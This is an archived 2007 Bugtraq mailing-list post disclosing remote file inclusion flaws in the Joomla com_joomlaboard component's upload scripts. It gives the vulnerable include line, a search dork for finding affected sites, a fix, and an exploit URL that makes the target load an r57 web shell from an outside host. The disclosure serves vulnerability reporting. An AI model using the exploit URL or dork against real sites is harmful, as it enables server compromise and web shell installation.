bugtraq
[Top] [All Lists]

Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include V

To: Bugtraq@securityfocus.com
Subject: Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabi
From: "Cold - Zero" <c.o.1.d.0@hotmail.com>
Date: Fri, 23 Mar 2007 20:48:18 +0000
Delivered-to: sp-com-lists@consult.net
Delivered-to: bugtraq-list@securepoint.com
Delivered-to: mailing list bugtraq@securityfocus.com
Delivered-to: moderator for bugtraq@securityfocus.com
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@securityfocus.com; run by ezmlm

######################################################
#
# Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities # Joomlaboard Component 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabilities
#
######################################################
#
# script :
http://forge.joomla.org/sf/frs/do/viewRelease/projects.simpleboard/frs.joomlaboard_component.joomlaboard_1_1_x_branch
#
######################################################
#
# files : /image_upload.php , /file_upload.php ,
#
######################################################
#
# Dork : index2.php?option=com_joomlaboard , allinurl:"com_joomlaboard"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell Crew
#
######################################################
#
# require_once("$sbp/sb_helpers.php");
# require_once("$sbp/sb_helpers.php");
#
######################################################
#
# exploit : http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt? # http://www.example.com/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://nachrichtenmann.de/r57.txt?
#
######################################################
#
# How To Fix It : U can put this code - defined( '_VALID_MOS' ) or die( 'Catch Me iF u Can ### Patched By Cold z3ro .' ); - after <?php code start
#
######################################################


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

_________________________________________________________________
5.5%* 30 year fixed mortgage rate. Good credit refinance. Up to 5 free quotes - *Terms https://www2.nextag.com/goto.jsp?product=100000035&url=%2fst.jsp&tm=y&search=mortgage_text_links_88_h2a5d&s=4056&p=5117&disc=y&vers=910


<Prev in Thread] Current Thread [Next in Thread>
  • Joomla com_joomlaboard 1.1.x Branch (sbp) Multiple Remote File Include Vulnerabi, Cold - Zero <=